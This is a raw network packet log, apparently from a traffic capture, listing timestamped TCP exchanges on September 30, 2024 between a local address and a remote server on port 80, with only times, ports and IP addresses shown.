Sep 30, 2024 12:22:32.226080894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226094961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226100922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226115942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226135015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226403952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226419926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226435900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226443052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226452112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226459026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226469040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226469994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226485968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226489067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226501942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226511955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226517916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226526022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226546049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226548910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226557016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226562977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226577997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226586103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226594925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226603031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226610899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226612091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226628065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226638079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226644039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226645947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226666927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226670027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226682901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226685047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226699114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226706028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226715088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226716995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226731062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226732016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226747990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226748943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226763964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226763964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226780891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226788998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226799011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226805925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226815939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226824999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226831913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226833105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226847887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226852894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226866007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.226871967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226890087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.226897955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227370024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227394104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227408886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227410078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227426052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227436066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227442980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227446079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227459908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227461100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227477074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227485895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227485895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227494001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227514982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227528095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227529049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227545977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227555990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227561951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227577925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227588892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227596045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227602959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227612019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227627039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227627993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227646112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227668047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227684021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227699995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227716923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227720022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227731943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227735043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227746964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227755070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227773905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227773905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227780104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227792025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227807999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227816105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227824926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227832079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227842093 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227850914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227859020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227874994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227891922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.227895975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227920055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.227942944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311537027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311582088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311600924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311619997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311654091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311676979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311691999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311707973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311722994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311744928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311753035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311791897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311800003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311808109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311819077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311830997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311836004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311851025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311858892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311873913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311877012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311888933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311901093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311904907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311919928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311928034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311937094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311950922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311954975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.311968088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.311980009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312011957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312021017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312036037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312052011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312063932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312064886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312088966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312114954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312150002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312165022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312189102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312191010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312206030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312207937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312221050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312222004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312236071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312249899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312249899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312259912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312266111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312278986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312280893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312298059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312299013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312318087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312342882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312490940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312505007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312520981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312536955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312545061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312552929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312563896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312567949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312583923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312589884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312599897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312618017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312625885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312638998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312666893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312707901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312722921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312737942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312752962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312753916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312772036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312772989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312797070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312823057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.312961102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312984943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.312999964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313009977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313015938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313024998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313030958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313040018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313049078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313060999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313064098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313079119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313079119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313093901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313093901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313108921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313123941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313126087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313139915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313149929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313154936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313169956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313179970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313190937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313194990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313218117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313231945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313312054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313325882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313342094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313355923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313368082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313375950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313395023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313410044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313488960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313504934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313520908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313534975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313535929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313551903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313559055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313570976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313577890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313586950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313606977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313612938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313632011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313657045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313788891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313805103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313818932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313833952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313833952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313849926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313857079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313865900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313879967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313884974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313895941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313908100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313911915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313927889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313932896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313944101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313945055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313960075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313972950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.313977003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.313978910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314002991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314033031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314171076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314186096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314202070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314214945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314218998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314232111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314238071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314246893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314263105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314271927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314287901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314291000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314291000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314302921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314305067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314317942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314330101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314335108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314344883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314348936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314363956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314364910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314379930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314383030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314395905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314409018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314413071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314428091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314435959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314443111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314459085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314460039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314460039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314475060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314475060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314491987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314492941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314507008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314512014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314522982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314533949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314538002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.314554930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.314577103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398428917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398468018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398485899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398502111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398513079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398531914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398535967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398549080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398571014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398577929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398593903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398596048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398608923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398619890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398624897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398642063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398650885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398650885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398669958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.398673058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.398680925 CEST	52534	80	192.168.2.4	5.42.101.62
